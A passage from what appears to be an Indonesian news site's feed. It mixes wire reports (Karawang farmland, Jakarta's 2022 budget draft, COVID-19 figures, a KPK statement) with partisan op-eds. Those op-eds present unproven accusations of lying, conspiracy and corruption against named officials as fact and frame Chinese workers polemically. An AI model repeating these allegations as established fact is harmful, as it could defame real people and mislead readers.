Padahal, agar boleh bekerja, TKA harus mendapat visa 312. Namun hal ini sengaja dihindari karena harus memenuhi syarat skill, waktu, biaya dan pajak. Para pemberi kerja, lembaga & pejabat pemerintah terkakit, dan para TKA sengaja menghindari penggunaan visa 312. Visa kunjungan telah disalah-gunakan untuk berkeja bertahun-tahun! Karena ada puluhan smelter China, maka ada puluhan atau ratusan ribu TKA China bekerja secara ilegal di Indonesia. Rekayasa dan konspirasi terkait TKA China ilegal ini jelas pelanggaran hukum serius. Karena menyangkut investasi miliaran US$, maka tidak mungkin para investor China dan para taipan tidak paham persyaratan yang harus dipenuhi. Berarti, mereka telah dengan sengaja merekayasa, memanipulasi, dan bekerjasama dengan oknum-oknum pejabat negara yang memiliki “power besar” guna melancarkan kejahatan sistemik ini. Para investor, taipan dan pejabat pemerintah terkait harus digugat atas pelanggaran hukum tersebut! IRESS juga menemukan pembayaran gaji para TKA China oleh investor dilakukan di negara China. Dana dari gaji tersebut tidak beredar di Indonesia. Uang yang masuk Indonesia sangat minim. Hal ini jelas merugikan ekonomi nasional dan daerah yang berharap perputaran ekonomi, peningkatan PDRB dan nilai tambah. Dengan modus ini, maka negara kehilangan penerimaan pajak, visa kerja, dan Dana Kompensasi Penggunaan TKA (DKPTKA) dari puluhan ribu TKA China (asumsi 30 smelter @2000 orang) minimal Rp 2,5 triliun per tahun. Menko Marves Luhut Binsar Pandjaitan (LBP) mengatakan TKA China perlu didatangkan karena tenaga kerja lokal tidak memenuhi syarat. Kata LBP: "Kita lihat banyak daerah-daerah (penghasil) mineral kita pendidikannya tidak ada yang bagus. Jadi kalau banyak yang berteriak tidak pakai (tenaga kerja) kita, lah penduduk lokalnya saja pendidikannya enggak ada yang bagus. Misalnya saja matematika rendah" (15/9/2020). Profil TKA China yang diuraikan di atas menunjukkan pernyataan LBP ini omong kosong besar! Tampaknya ungkapan Menko LBP ini menjadi dasar mengapa Ridwan berbohong pada DPR dan rakyat. Menilik fakta-fakta di atas, jelas Dirtjen Minerba Ridwan Djamaluddin sengaja menyembunyikan jumlah TKA China yang sebenarnya bekerja pada industri nikel nasional. Namun karena bersifat konspiratif dan sistemik, bukan cuma Ridwan saja yang terlibat. Rakyat harus segera menggugat Ridwan dan pejabat negara terkait, termasuk yang bekerjasama dengan investor China dan para konglomerat, yang telah melakukan kebohongan, manipulasi dan terlibat mempekerjakan TKA China secara ilegal dan melanggar banyak aturan di Indonesia. Konspirasi sistemik ini telah merendahkan martabat bangsa, merampas hak pekerja pribumi bekerja di negeri sendiri, sekaligus merugikan penerimaan negara. *) Direktur Eksekutif IRESS

Dinas Pertanian Karawang Berupaya Cegah Alih Fungsi Lahan Pertanian

Karawang, FNN - Dinas Pertanian Kabupaten Karawang, Jawa Barat, menyatakan pihaknya sangat serius dalam mencegah alih fungsi lahan pertanian ke nonpertanian. "Kami serius, kami sudah punya Perda LP2B (Lahan Pertanian dan Pangan Berkelanjutan) yang mengatur tentang pencegahan alih fungsi lahan pertanian," kata Kepala Dinas Pertanian setempat Hanafi, di Karawang, Senin. Ia mengatakan dalam ketentuan tersebut ada pembatasan kegiatan alih fungsi lahan pertanian ke nonpertanian dalam beberapa tahun ke depan. Keberadaan Peraturan Daerah (Perda) LP2B tersebut merupakan bagian dari upaya mempertahankan areal lahan pertanian di Karawang. Saat ini luas baku sawah di Karawang mencapai 97.000 hektare. Namun dalam beberapa tahun ke depan tentunya ada potensi alih fungsi lahan pertanian. Karena itu dalam ketentuan Perda LP2B tersebut Pemkab Karawang "mengunci" 87 ribu hektare areal sawah yang tidak boleh dialihfungsi. Disampaikan, selain membuat regulasi untuk menjaga alih fungsi lahan pertanian ke nonpertanian, Hanafi juga menyebutkan pihaknya telah membuat regulasi tentang perlindungan pertanian. Dalam ketentuan itu terdapat perlindungan bagi petani yang mengalami gagal tanam atau gagal panen. Bahkan ke depan bagi petani yang hasil panennya anjlok akan mendapat asuransi. (mth)

Intelektualitas (Mestinya) Mendahului Elektabilitas

Oleh Ady Amar *) BALIHO "Kepak Sayap Kebhinekaan" dengan foto Puan Maharani, menyebar di banyak kota/kabupaten seluruh Indonesia. Tema itu sepertinya sulit dipahami banyak orang. Semacam sekadar menggelorakan semangat. Maka, tidak perlulah bertanya lebih jauh lagi, sulit bisa mendapat jawaban memuaskan. Ada lagi baliho yang lebih rasional menghiasi pelosok negeri. Tema disesuaikan dengan kondisi yang ada, "Jaga Iman, Jaga Imun" dengan tetap foto Puan Maharani menyembul, tapi dibuat lebih Islami. Puan tampil dengan kerudung. Meski temanya lebih jelas, tentu lebih untuk menyemangati rakyat yang tengah menghadapi pandemi Covid-19, yang melumpuhkan sendi perekonomian, khususnya masyarakat kecil. Meski kritik muncul, betapa uang begitu banyak dibuang untuk sekadar memaksa orang menengok senyum simpul wajahnya pada baliho. Seolah berharap berbalas senyum rakyat. Harapan yang pastinya sulit didapat. Mana mungkin perut melilit dan pikiran kusut, diharap untuk membalas senyum. Jika masih bisa tersenyum, itu manusia istimewa. Atau justru menemui manusia yang senyum di sana-sini tanpa sebab, cengegesan tersebab hilang akal. Evaluasi atas penyebaran baliho pastilah dibuat. Jika efektif, maka gerakan semarak baliho akan diteruskan dengan tema-tema disesuaikan. Jika tidak, maka dicari cara lain untuk mengundang simpati guna merebut hati rakyat. Tentu ini bukan pekerjaan mudah dan murah. Ini semacam membuat konten yang bisa dinikmati banyak pihak, dan itu kerja kreatif. Tidak mudah menundukkan hati rakyat, maka semua cara dilakukan. Terkadang perlu bantuan konsultan kreatif untuk meng- create ide sesuai yang diinginkan rakyat. Semua untuk elektabilitas, agar bisa terkerek tinggi. Membidik hati rakyat bukanlah perkara mudah. Tapi juga bisa tampak mudah, seperti yang dilakukan Joko Widodo (Jokowi), saat mencalonkan diri jadi Gubernur DKI Jakarta, cuma cukup masuk gorong-gorong, dan itu jadi berita menjual. Itu tampak hal mudah dan murah, yang berbuntut elektabilitas jadi tinggi. Jokowi dapat momen tepat. Rakyat melihat ia pemimpin merakyat, tentu itu kerja konsultan politiknya. Laku manusia ingin jadi pemimpin, di tingkat apa pun, itu harus sampai memutus urat malu segala. Ia akan membuat atraksi tidak biasa. Sebuah upaya mengaduk hati rakyat. Memakai Pola Lama Puan Maharani, lagi-lagi menimbulkan tanggapan kurang sedap dari berbagai pihak. Itu saat ia berhujan-hujanan dengan dua petani perempuan sedang menanam padi. Atraksinya itu memang tidak biasa. Tidak ada petani yang menanam padi sambil berhujan-hujanan. Reaksi kritik menertawakan pun bermunculan. Tampaknya tim kreatifnya tidak sedikit pun punya pengetahuan dasar kapan waktu tepat bercocok tanam di sawah itu. Sehingga dengan berhujan-hujan, itu seolah bisa dilihat sebagai laku heroik membela nasib petani. Tidak jelas membela itu pada hal apa. Puan dihadirkan seperti gambar yang ditempel tanpa punya makna, justru terlihat sebagai karya pencitraan yang "kasar", seolah ingin mengulang gaya Joko Widodo masa lalu. Gorong-gorong versi baru itu dengan menanam padi di sawah sambil hujan-hujanan. Padahal mestinya sebagai Ketua DPR RI, Puan Maharani bisa membela petani dengan kebijakan yang berpihak. Memastikan ketersediaan pupuk yang acap langka dan harga yang terus dimainkan, dan menjaga agar tidak terjadi impor beras saat memasuki masa panen, dan seterusnya. Banyak cara lebih elegan mendulang elektabilitas. Kebijakan berpihak, justru itu yang dibutuhkan petani. Bukan cuma dialog di sawah dengan pertanyaan seadanya, dan berharap diberitakan. Puan memilih ke sawah, itu seolah ia ingin mengulang kisah Sang Kakek, Soekarno, yang turun dari delman saat melihat petani mencangkul di sawah padahal hari menuju senja. Terjadi dialog dengan petani bernama Marhaen, yang lalu jadi inspirasi sebagai ajarannya, Marhaenisme. Laku Soekarno itu tentu bukan pencitraan. Tidak ada orang yang menguntitnya dengan kamera segala. Laku dan momennya pun tidak dipaksa untuk mengikutinya. Mengalir sewajarnya dan tercatat, dikenang dalam sejarah panjang. Puan ingin mengulang peruntungan kisah kakeknya, seolah waktu bisa diputar kembali untuk membantu menaikkan elektabilitasnya. Pilihan model turun ke sawah ini juga dibarengi dengan baliho ucapan selamat datang pada Puan Maharani di beberapa kota yang disinggahi, yang berpose memakai capil ala petani dengan pemandangan sawah membentang luas. Berbagai Pola Mendekati Rakyat Pola yang dilakukan Prabowo Subianto, Ganjar Pranowo, dan Anies Baswedan tentu dengan caranya masing-masing. Semua berharap dan bermuara pada elektabilitas, dan itu yang diharapkan. Maka pola yang diyakininya terus diasah, dan akan bisa terlihat dengan jelas. Pola yang dibangun Prabowo, itu lebih pada namanya yang masyhur, karena beberapa kali mengadu peruntungan menjadi presiden, meski takdir tidak berpihak. Tapi namanya kadung terkenal, dan menjadikan elektabilitasnya tinggi. Ditambah jabatan selaku Menhankam RI, jabatan yang makin melambungkan namanya. Sedang Ganjar, lebih digadang-gadang sebagai kelanjutan dari Presiden Jokowi, itu jika rencana tiga periode Jokowi sulit bisa terlaksana. Ganjar lalu jadi alternatif pilihan para penyokong Jokowi. Ganjar juga dianggap Wong Jowo asli, dan karenanya tingkat elektabilitasnya tinggi. Ganjar pun disebut sebagai simbol nasionalis, meski penyebutan itu mengada-ada dan mudah dipatahkan. Maka, rakyat seantero negeri pun bisa melihat apa yang dikerjakan Ganjar selama dua periode selaku Gubernur Jawa Tengah. Terlihat apa yang dikerjakannya, dan bisa dinilai dengan obyektif. Jika gaya merakyatnya jadi unggulan seorang Ganjar, maka juga perlu disingkap apakah kebijakan pemerintahannya juga berpihak pada rakyat kecil. Provinsi Jawa Tengah masih tidak beranjak sebagai provinsi paling miskin kedua di Pulau Jawa, setelah Provinsi Banten. Realitanya demikian. Sedang Anies Baswedan, bisa pula dilihat dari kerja-kerja nyatanya selaku Gubernur DKI Jakarta. Penyebutan namanya sebagai Gubernur Indonesia, itu seolah ia mampu melewati batas teritorialnya. Pembangunan Jakarta di tangan Anies tampak berbinar dan sulit bisa dibantah mereka yang bekerja dengan modal nyinyir pada apa saja yang dihadirkannya. Berbagai penghargaan dalam negeri dan internasional di dapat Anies dan Provinsi DKI Jakarta susul menyusul, seolah sudah tidak lagi menjadi berita yang perlu diangkat. Maka, melihat Anies Baswedan dengan segala prestasi yang diukir itu tidak bisa dilihat ujug-ujug, tapi melihatnya pada pemenuhan janji-janji kampanyenya, yang dipenuhinya satu per satu. Dan itu untuk kesejahteraan warganya. Meski tanpa rekayasa segala, elektabilitas Anies Baswedan selalu ada di tiga besar. Dan itu atas kerja-kerja terukurnya. Maka bisa dikatakan, intelektualitas seorang Anies itu mendahului elektabilitasnya. Kerja Anies itu lalu diikuti elektabilitas. Itu kesan yang ditimbulkan, dan yang setidaknya sampai pada masyarakat seantero negeri... Wallahu a'lam. (*) *) Kolumnis

Anies Naikkan RAPBD 2022 Menjadi Rp84,8 Triliun

Jakarta, FNN - Gubernur DKI Jakarta Anies Baswedan menaikkan Rancangan Anggaran Pendapatan dan Belanja Daerah (RAPBD) 2022 sebesar 6,25 persen menjadi Rp84,8 triliun dibandingkan APBD-Perubahan 2021 sebesar Rp79,8 triliun karena tren ekonomi Ibu Kota yang tumbuh positif. "Kami melihat perkembangan kuartal pertama ke kuartal kedua, tren 'year on year', menunjukkan bahwa kecepatan pertumbuhan perekonomian di Jakarta menunjukkan angka yang optimis," kata Anies Baswedan usai menghadiri rapat paripurna di Gedung DPRD DKI Jakarta, Senin. Dalam penyampaiannya kepada DPRD DKI, Anies merinci pendapatan daerah pada 2022 direncanakan sebesar Rp77,4 triliun atau naik 18,77 persen dibandingkan APBD-Perubahan 2021 sebesar Rp65,2 triliun. Adapun pendapatan daerah itu rencananya diharapkan bersumber dari Pendapatan Asli Daerah (PAD) sebesar Rp55,6 triliun, transfer pemerintah pusat Rp16,8 triliun dan pendapatan lain yang sah Rp4,9 triliun. PAD ditargetkan bersumber dari pajak daerah Rp45,7 triliun, retribusi daerah Rp806,8 miliar, hasil pengelolaan kekayaan daerah yang dipisahkan Rp793,7 miliar dan PAD lain yang sah sebesar Rp8,35 miliar. Sedangkan untuk belanja daerah 2022 direncanakan sebesar Rp75,6 triliun atau naik 8,09 persen dibandingkan ​​​​​​​APBD-Perubahan 2021 sebesar Rp69,99 triliun. Belanja daerah 2022 direncanakan untuk belanja operasional sebesar Rp58,9 triliun, belanja modal Rp13,4 triliun, belanja tak terduga Rp2,8 triliun dan belanja transfer Rp479,7 miliar. Untuk penerimaan pembiayaan 2022 direncanakan sebesar Rp7,43 triliun yang berasal dari Sisa Lebih Pembiayaan Anggaran (SiLPA) sebesar Rp4 triliun dan penerimaan pinjaman daerah Rp3,4 triliun. Sedangkan pengeluaran pembiayaan direncanakan mencapai Rp9,22 triliun yang dialokasikan untuk penyertaan modal daerah sebesar Rp5,63 triliun, pembayaran cicilan pokok utang jatuh tempo Rp927 miliar dan pemberian pinjaman daerah Rp2,66 triliun. (mth)

Kemekumham Paparkan Manfaat Daftarkan Merek Melalui Madrid Protokol

Jakarta, FNN - Kementerian Hukum dan Hak Asasi Manusia (Kemenkumham) memaparkan sejumlah kemudahan yang didapatkan seseorang apabila mendaftarkan merek barangnya ke sistem Madrid Protokol. "Pertama, memberi kemudahan untuk mendaftarkan merek di banyak negara," kata Direktur Merek dan Indikasi Geografis Direktorat Jenderal Kekayaan Intelektual (DJKI) Kemenkumham Nofli pada webinar Madrid Protokol tata cara dan keuntungan pendaftaran merek internasional di Jakarta, Senin. Hal itu, sambung dia, cukup dengan satu permohonan saja, satu bahasa dan satu mata uang melalui DJKI Kemenkumham. Selanjutnya, proses pendaftaran merek ke Madrid Protokol jauh relatif lebih cepat dan murah karena dengan satu permohonan dapat ditujukan ke beberapa negara sekaligus. Madrid Protokol ialah sebuah perjanjian internasional yang ditandatangani oleh pemerintah Indonesia pada 2 Oktober 2017 dan berjalan efektif atau diimplementasikan pada Februari 2018. Ia mengatakan dengan mendaftarkan barang-barang yang akan dipasarkan ke berbagai negara, maka merek dagang pelaku usaha akan jauh lebih aman dan terlindungi. Selain itu, Madrid Protokol juga menjadi sebuah sarana pembangunan merek nasional menuju merek global. Hal itu tentu saja akan memberikan keuntungan besar bagi pelaku usaha di Tanah Air karena barang-barangnya semakin dikenal di kancah internasional. Indonesia sendiri merupakan negara Ke-100 yang menjadi anggota Madrid Protokol dari 109 anggota. Terakhir, ia mengatakan pendaftaran merek menjadi suatu hal yang penting terutama sebagai pembeda barang dan jasa. Kedua, sebagai alat promosi serta menjadi pondasi dalam membangun reputasi barang yang dipasarkan. (mth)

Saatnya Kita Mandiri dengan Platform Digital Model Sendiri (2)

Oleh: Agus Maksum SETELAH kita menyadari ternyata bahwa pasar kita dikuasai dan didistorsi oleh startup Digital Asing berbaju nasionalis, Lalu bagaimanakah kita mempersiapkan diri menghadapi strategi exit para pemain raksasa digital, bila memang mereka exit, setelah mengambil untung dari IPO. Jawabnya adalah Kita Harus Ciptakan Platform Digital 4.0 yang loyalitas user-nya bukan dari bakar uang, tapi dari putaran bisnis jual-beli dan jasa, (wa aḥallallāhul-bai'a wa ḥarramar-ribā) platform digital yang keuntungann diperoleh dengan jual-beli yang halal. StartUp Digital yang user engagement/loyalitas user-nya di-drive dari gerakan sosial yang kita gerakkan dengan dakwah, untuk kembali pada sistem perdagangan jual-beli yang normal dan halal, sehingga tercipta sebuah gerakan ekonomi dalam masyarakat dan umat, gerakan ekonomi yang dibangun dari ikatan komunitas dari ikatan ukhuwah saling membutuhkan saling memenuhi dari, oleh, dan untuk kita, bukan dari cara instan bakar uang yang berpotensi menimbulkan matinya usaha kecil serta bubble ekonomi. Kita harus Membangun Kesadaran masyarakat untuk membangun Gerakan Ekonomi Komunitas dengan Tekonologi Digital 4.0 dan menciptakan Platform Digital 4.0 untuk menjadikan gerakan itu berjalan. Umat Islam dengan jumlah 230 juta yang tersebar dalam berbagai komunitas seperti pondok pesantren, sekolah Islam, masjid, jamaáh pengajian, jamaah dzikir, yasinan menjadi modal sosial yang sangat kuat untuk memulai Gerakan Ekonomi ini. Kita bisa mulai dengan pemberdayaan di setiap komunitas, sebab setiap komunitas pasti ada leader yang bisa menggerakkan untuk membuat gerakan ini, sehebat apapun produk korporat, dia butuh market/pasar, pasar adalah anggota komunitas. Bila anggota komunitas saling berkomitmen untuk saling memenuhi kebutuhan antar anggota melalui platform digital dalam komunitas, maka saling memenuhi kebutuhan anggota komunitas bisa menjadi energi pengikat untuk kemandirian komunitas pada kebutuhan mendasar misalnya sembako dan kebutuhan sehari-hari: beras, gula, minyak, telur, ikan asin, daging, sabun cuci, kacang goreng, bumbu dapur, camilan dan produk rumah tangga lainnya. Membangun kesadaran Ekonomi komunitas bisa kita mulai dari komunitas-komunitas yang ada, misalnya pondok pesantren, sekolah Islam, masjid, dan jamaáh-jamaáh pengajian. Komunitas itu sudah ada dan setiap komunitas punya modal dasar adanya leadership yang kuat untuk dibangun kesadaran serta kemandirian dimulai dari kebutuhan sembako dan kebutuhan sehari-sehari. Bila masing-masing leader membangun kesadaran collectif dalam lingkup community di wilayahnya untuk bisa saling memenuhi kebutuhan antar anggota komunitas, maka itu sudah menjadi pengganti bakar-bakar uang bagi masing-masing anggota untuk loyal menggunakan platform digital yang dipakai dan dimiliki oleh masing-masing Komunitas. Produk kebutuhan rumah tangga kita sehari- hari, sangat bisa diisi, dipenuhi, dan didominasi oleh produk rumahan industri skala rumah tangga, seperti misalnya sabun cuci, sabun mandi, resep bumbu-bumbu dapur yang sehat, hasil racikan sendiri dengan packing yang proper untuk di-delivery, camilan dan makanan ringan seperti kacang goreng, kacang telur, dan camilan sehat lainnya, semua itu adalah produk rumahan yang putaran bisnisnya cukup besar, setiap anggota community bisa punya produk yang bisa dengan mudah tersedia di marketplace lokal (pasar lokal) community. Dengan platform aplikasi model itulah kita bisa membuat anggota komunitas saling terhubung untuk saling jual dan beli dan bisa dipesan antar anggota community secara mudah, melalui aplikasi milik komunitas. Bahwa sudah menjadi sunnatullah masing-masing individu punya skill dan bakat dan keahlian yang berbeda-beda. Perbedaan skill keahlian masing-masing orang anggota komunitas dalam memproduksi barang akan menimbulkan perbedaan kebutuhan utk saling memenuhi dengan anggota komunitas lainnya, terjadilah proses transaksi tukar-menukar yang disebut jual-beli, jual-beli dengan dibangun kesadaran bersama untuk saling memenuhi kebutuhan sesama anggota community inilah yang kita maksud sebagai Gerakan Ekonomi. Dan, inilah yang perlu kota siapkan sebagai buffer atau pengganti bila para raksasa digital telah habis masa bakar uangnya, maka jangan sampai kehidupan kita, kehidupan umat Islam tercekik oleh layanan yang awalnya murah banyak discount menjadi layanan yang mencekik dan menjerat kita, kita mesti belajar dari para driver Gojek yang awalnya mendapatkan subsidi dari bakar uang menjadi sekarang harus setor pada perusahaan Aplikasi dari setiap jasa antar jemputnya. Platform Aplikasi seperti apa yang bisa dimiliki oleh masing-masing komunitas untuk bisa mewujudkan Gerakan Ekonomi tersebut? (Bersambung) Penulis Adalah Pokja Ekonomi Musyawarah Ulama dan Tokoh Umat (MUTU)

Belut Tak Selicin Luhut

BELUT sering dijadikan perumpamaan bagi orang yang pandai menghindar, berkelit, dan berbohong. “Licin bagai belut,” begitu bunyinya. Padahal, belut sendiri tak pernah berbohong. Licinnya belut bukan karena berkelit atau lari dari tanggung jawab. Ia diciptakan Tuhan sebagai binatang yang tubuhnya penuh lendir sehingga sulit ditangkap tangan manusia. Tapi selicin-licinnya belut, ia masih mudah ditangkap. Ada belut yang hidup di sawah, ada juga yang diternakkan di rumah-rumah. Kini belut dibudidayakan untuk memenuhi kebutuhan gizi yang masih tinggi. Belut banyak memberikan manfaat bagi umat manusia. Dalam setiap 100 gram belut, terdapat banyak sekali kandungan gizinya. Mulai dari kalori senilai 303 kkal, protein 18,4 gram, lemak 27 gram, kalsium 20 miligram, fosfor 200 miligram, zat besi 20 miligram, dan masih banyak lagi. Lalu apa hubungan belut dengan Luhut. Keduanya sama sama licin. Namun, belut licin secara alami, sedangkan Luhut licin dibuat-buat. Ia pintar berkilah. Ia juga pintar menggunakan – entah staf pribadi atau staf kementerian – untuk menjadi juru bicara. Ia pandai berargumen, berteori, dan menghindar bahkan menantang pengkritiknya untuk membuktikan tuduhan KKNnya. Saat nama Luhut disebut Direktur Eksekutif Lokataru Haris Azhar dan Koordinator Kontras Fatia Maulidiyanti dalam sebuah diskusi daring, Luhut murka. Haris dan Fatia menyebut Luhut sebagai salah satu pejabat yang berada di balik bisnis tambang emas dan rencana eksploitasi daerah Blok Wabu di Intan Jaya, Papua. Luhut lantas menggugat balik Haris sebesar Rp100 Miliar. Saat Luhut menjalankan peran ganda sebagai penguasa sekaligus pengusaha dalam pengadaan PCR, semua orang di sekeliling Luhut kompak memagarinya. Luhut menyelinap di balik kaum loyalis yang setia menjadi bempernya. Partai Rakyat Adil Makmur (Prima) juga melaporkan Luhut dan Menteri BUMN Erick Thohir ke Komisi Pemberantasan Korupsi. Dua menteri ini diduga terlibat dalam bisnis PCR. KPK diminta mendalami lebih jauh terkait dugaan adanya penggunaan kekuasaan untuk bermain dalam bisnis PCR. Nyatanya sampai sekarang belum ada perkembangan atas laporan itu. Sepertinya KPK meniti jalan basah bertabur oli sehingga takut terpeleset untuk sekadar mandatangi kantor Luhut. Kalau perlu KPK langsung menggeledahnya untuk menjawab dugaan-dugaan yang bisa saja salah. Itulah Luhut, selalu ada jalan mulus di depannya. Luhut selalu sukses berkelit, berkilah dan beralibi. Ia lebih licin dari belut. Tak hanya KPK yang tak kuasa mengusut Luhut. Badan Pembinaan Ideologi Pancasila (BPIP) pun tak mampu menasihati Luhut agar lebih Pancasilais. Badan yang diberi wewenang penuh menuntun dan memandu setiap warga negara – termasuk Luhut untuk patuh dan tunduk pada doktrin BPIP, tak juga punya daya untuk sekadar memberi wejangan kepada Luhut. Akrobat Luhut di mata BPIP tampaknya tak begitu menarik. BPIP lebih terarik menyoal suara merdu santri-santri kecil innocent, polos, dan bersih. Padahal, apa yang dilakukan LBP jelas melanggar Pancasila, utamanya sila Kemanusiaan yang adil dan beradab. Ia tidak berperikemanusiaan karena di tengah wabah Covid-19, sebagai menteri masih sempat berbisnis obat dan alat Covid. Ia tidak beradab, di tengah penderitaan rakyat, marah-marah dan menampakkan arogansi saat kasusnya dilaporkan ke KPK. Ia seakan tak melihat kesulitan rakyat. Ia juga seakan tak mendengar jeritan rakyat. Dan hatinya seakan tak tersentuh mengetahui kehidupan rakyat makin sengsara selama dua tahun terakhir akibat pandemi dan korupsi. Anggaran pandemi yang seharusnya masih berjalan sampai hari ini, ternyata sudah lama berhenti. Sangat mungkin dikorupsi seperti yang dilakukan Juliari. Luhut seakan tak melihat betapa perjuangan rakyat bertahan hidup di tengah pandemi begitu sulit. Ia juga tak tampak menunjukkan simpati dan empati terhadap penderitaan rakyat. Tak ditemukan wajah sejuk di muka Luhut. Yang ada hanyalah marah, marah, dan marah. Apa sih yang tidak mungkin dilakukan Luhut. Semua bisa dilakukan. Semua beres di pundak mantan tentara itu. Tindakannya cepat, omongannya ceplas-ceplos. Mimiknya menakutkan. Maka ketika duit penanganan pandemi menggelontor begitu dahsyat, Luhut melalui PT Genomik Solidaritas Indonesia ikut serta sebagaimana diakui sendiri oleh jubirnya Jodi Mahardi. Secara tersirat, pernyataan Jodi membenarkan Luhut terlibat dalam bisnis PCR. Datanya jelas, akta perseroan ada, dokumen tercatat di Kementerian Hukum dan HAM, sehingga nyaris bahkan mustahil dibantah. Kenapa Luhut begitu mudah ikut bisnis PCR, karena Luhut yang ikut bisnis PCR itu bukan Luhut yang tukang kuli angkut. Bukan Luhut yang lain, tetapi Luhut yang Menteri Koordinator Maritim dan Investasi serta puluhan jabatan strategis lainnya. Oleh karenanya jalannya mulus. Itulah yang namanya conflict of interest. Masih mau berkilah, Tuan Luhut?

Pasien COVID-19 Sembuh di Babel Bertambah 13 Jadi 50.602 Orang

Pangkalpinang, FNN - Satgas Penanganan COVID-19 Provinsi Kepulauan Bangka Belitung menyatakan pasien COVID-19 sembuh bertambah 13 orang sehingga total orang dinyatakan sembuh dari virus corona itu menjadi 50.602 jiwa. "Alhamdulillah tingkat kesembuhan pasien COVID-19 mencapai 97,06 persen atau lebih tinggi dibandingkan kasus orang terpapar virus corona ini," kata Satgas Penanganan COVID-19 Provinsi Kepulauan Babel Mikron Antariksa di Pangkalpinang, Senin. Ia menjelaskan berdasarkan data terbaru kasus harian COVID-19, sebanyak 13 orang sembuh dari COVID-19 tersebut tersebar di Kabupaten Bangka tujuh orang, Bangka Barat dua orang, Bangka Tengah satu orang, Belitung satu orang dan Belitung Timur dua orang. Kasus harian orang terpapar COVID-19 juga bertambah 12 orang tersebar di Kabupaten Bangka Barat enam orang, Pangkalpinang tiga, Belitung dua orang dan Belitung Timur satu orang. "Hari ini tidak ada pasien meninggal akibat COVID-19, sehingga jumlah total kematian orang tetap 1.541 orang dengan tingkat meninggal 2,78 persen," katanya. Ia mengatakan dengan penambahan kasus harian COVID-19 maka orang yang menjalani karantina di rumah sakit rujukan, isolasi terpadu dan isolasi mandiri sebanyak 84 orang tersebar di Pangkalpinang 21, Belitung Timur 16, Bangka Tengah 13, Bangka 11, Banga Barat sembilan orang, Belitung sembilan orang dan Bangka Selatan lima orang. Menurut dia saat ini Kabupaten Bangka Barat memiliki tingkat kasus terkonfirmasi yang tertinggi, untuk antisipasi persoalan tersebut, dibutuhkan sarana dan prasarana yang memadai untuk melaksanakan kegiatan isolasi terpadu serta prokes. "Kami lebih memfokuskan kegiatan penerapan prokes dan vaksinasi di Bangka Tengah untuk menekan kasus penularan virus corona di daerah itu," katanya. (sws)

KPK: Selama Kepala Daerah Jaga Integritas Tak Perlu Takut OTT

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) menyatakan selama kepala daerah menjalankan pemerintahannya dengan memegang teguh integritas maka tidak perlu takut dengan operasi tangkap tangan (OTT). "Selama kepala daerah menjalankan pemerintahannya dengan memegang teguh integritas, mengedepankan prinsip-prinsip 'good governance', dan tidak melanggar ketentuan hukum yang berlaku tidak perlu ragu berinovasi atau takut dengan OTT," ucap Plt Juru Bicara KPK Ipi Maryati Kuding dalam keterangannya di Jakarta, Senin. KPK menanggapi cuplikan video pernyataan Bupati Banyumas, Jawa Tengah Achmad Husein tentang OTT KPK yang viral di media sosial. Lebih lanjut, kata Ipi, KPK meminta komitmen kepala daerah untuk fokus melakukan perbaikan tata kelola pemerintah daerah. Melalui "Monitoring Center for Prevention (MCP)", KPK telah merangkum delapan area yang merupakan sektor rawan korupsi sebagai fokus penguatan tata kelola pemerintah daerah yang baik. Delapan area tersebut, yakni perencanaan dan penganggaran APBD, pengadaan barang dan jasa, perizinan, penguatan APIP, manajemen ASN, optimalisasi pajak daerah, manajemen aset daerah, dan tata kelola keuangan desa. Dari kegiatan koordinasi dan monitoring evaluasi (monev) yang dilakukan KPK di Jawa Tengah terdapat beberapa hal yang menjadi catatan dan perlu perbaikan secara konsisten dan berkesinambungan, yaitu terkait potensi kebocoran penerimaan pajak karena belum dikelola secara optimal, besarnya tunggakan pajak daerah, belum terintegrasinya sistem perpajakan, perizinan dan pengawasan. Selanjutnya, masih banyak pemda belum menyelesaikan regulasi Rencana Detil Tata Ruang (RDTR), masih adanya dugaan praktik "fee" proyek pengadaan barang dan jasa, gratifikasi dan pelicin, banyak pemda yang belum mengimplementasikan bela pengadaan melalui "marketplace" untuk pengadaan barang dan jasa yang nilainya kurang dari Rp50 juta dalam rangka efisiensi dan pemberdayaan UMKM lokal. Kemudian, masih perlunya penguatan APIP yang meliputi aspek kapasitas, kapabilitas, kompetensi serta independensi, masih adanya dugaan praktik jual-beli jabatan dalam rotasi, mutasi dan promosi serta masih perlunya penguatan pengawasan tata kelola dana desa. Terkait manajemen aset daerah, kata Ipi, KPK mencatat masih banyak kewajiban aset Prasarana, Sarana, dan Utilitas Umum (PSU) dari pengembang kepada pemda yang belum diserahkan. Selain itu, di beberapa pemda perlu dilakukan penyelesaian tuntas terkait aset Personel, Pendanaan, Sarana dan Prasarana serta Dokumen (P3D). KPK juga mencatat masih banyak aset pemda yang belum bersertifikat. "Namun demikian, KPK mengapresiasi capaian sertifikasi aset pemda di Jateng. Dari target penyelesaian sertipikat di tahun 2021, yaitu 45.609 bidang aset, per 11 November 2021 telah terbit sebanyak 10.376 sertifikat. Sisanya, masih berproses di Kantor Pertanahan Jateng," ungkap Ipi. Sementara berdasarkan data MCP, Ipi menjelaskan rata-rata capaian MCP wilayah Jawa Tengah per 11 November 2021 tercatat 63 persen. Oleh karena itu, KPK mendorong komitmen kepala daerah dan seluruh jajaran organisasi perangkat daerah (OPD) untuk memenuhi indikator dan subindikator MCP sebagai upaya pencegahan korupsi di daerah. "Keberhasilan upaya pencegahan korupsi sangat bergantung pada komitmen dan keseriusan kepala daerah beserta jajarannya untuk secara konsisten menerapkan rencana aksi yang telah disusun. Jika langkah-langkah pencegahan tersebut dilakukan maka akan terbangun sistem yang baik yang tidak ramah terhadap korupsi," ujar Ipi. Selain itu, KPK menyadari perbaikan sistem juga harus diimbangi dengan pembangunan budaya antikorupsi demi menjaga integritas para pejabat publik. "Sebab kekuasaan besar yang dimiliki kepala daerah tanpa adanya pengawasan yang memadai dari aparat pengawas akan menyebabkan dorongan melakukan tindak pidana korupsi atau dengan kata lain korupsi dapat terjadi karena kekuasaan didukung adanya kesempatan, namun tidak disertai integritas," ucap Ipi. Dalam cuplikan video berdurasi 24 detik yang beredar melalui media sosial itu terlihat Bupati Banyumas Achmad Husein sedang menyampaikan pernyataan pada sebuah acara. "Kami para kepala daerah, kami semua takut dan tidak mau di-OTT. Maka kami mohon kepada KPK sebelum OTT, mohon kalau ditemukan kesalahan, sebelum OTT kami dipanggil dahulu. Kalau ternyata dia itu berubah, ya sudah lepas begitu. Tapi kalau kemudian tidak berubah, baru ditangkap Pak," kata Husein dalam cuplikan video. (sws)

